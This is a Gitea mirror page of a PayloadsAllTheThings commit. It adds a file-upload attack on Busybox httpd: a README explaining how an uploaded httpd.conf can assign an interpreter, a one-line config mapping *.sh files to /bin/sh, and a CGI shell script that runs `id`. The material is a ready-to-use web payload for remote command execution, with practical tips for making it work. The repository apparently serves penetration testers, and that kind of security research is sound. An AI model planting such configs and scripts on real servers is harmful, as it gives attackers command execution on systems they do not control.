gitea-mirror/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2026-03-01 06:53:04 -08:00
Code Issues Packages Projects Releases Wiki Activity

File upload - merging old files

Browse Source
This commit is contained in:
swisskyrepo
2019-02-15 16:00:50 +01:00
parent 88d5af0b19
commit eac421432a
141 changed files with 98 additions and 55 deletions
Download Patch File Download Diff File Expand all files Collapse all files

11
Upload insecure files/Configuration Busybox httpd.conf/README.md Normal file
View File

@@ -0,0 +1,11 @@
If you have upload access to a non /cgi-bin folder - upload a httpd.conf and configure your own interpreter.
Details from Busybox httpd.c
https://github.com/brgl/busybox/blob/abbf17abccbf832365d9acf1c280369ba7d5f8b2/networking/httpd.c#L60
> *.php:/path/php # run xxx.php through an interpreter`
> If a sub directory contains config file, it is parsed and merged with any existing settings as if it was appended to the original configuration.
Watch out for Windows CRLF line endings messing up your payload (you will just get 404 errors) - you cant see these in Burp :)

1
Upload insecure files/Configuration Busybox httpd.conf/httpd.conf Normal file
View File

@@ -0,0 +1 @@
*.sh:/bin/sh

3
Upload insecure files/Configuration Busybox httpd.conf/shellymcshellface.sh Normal file
View File

@@ -0,0 +1,3 @@
echo "Content-type: text/html"
echo ""
echo `id`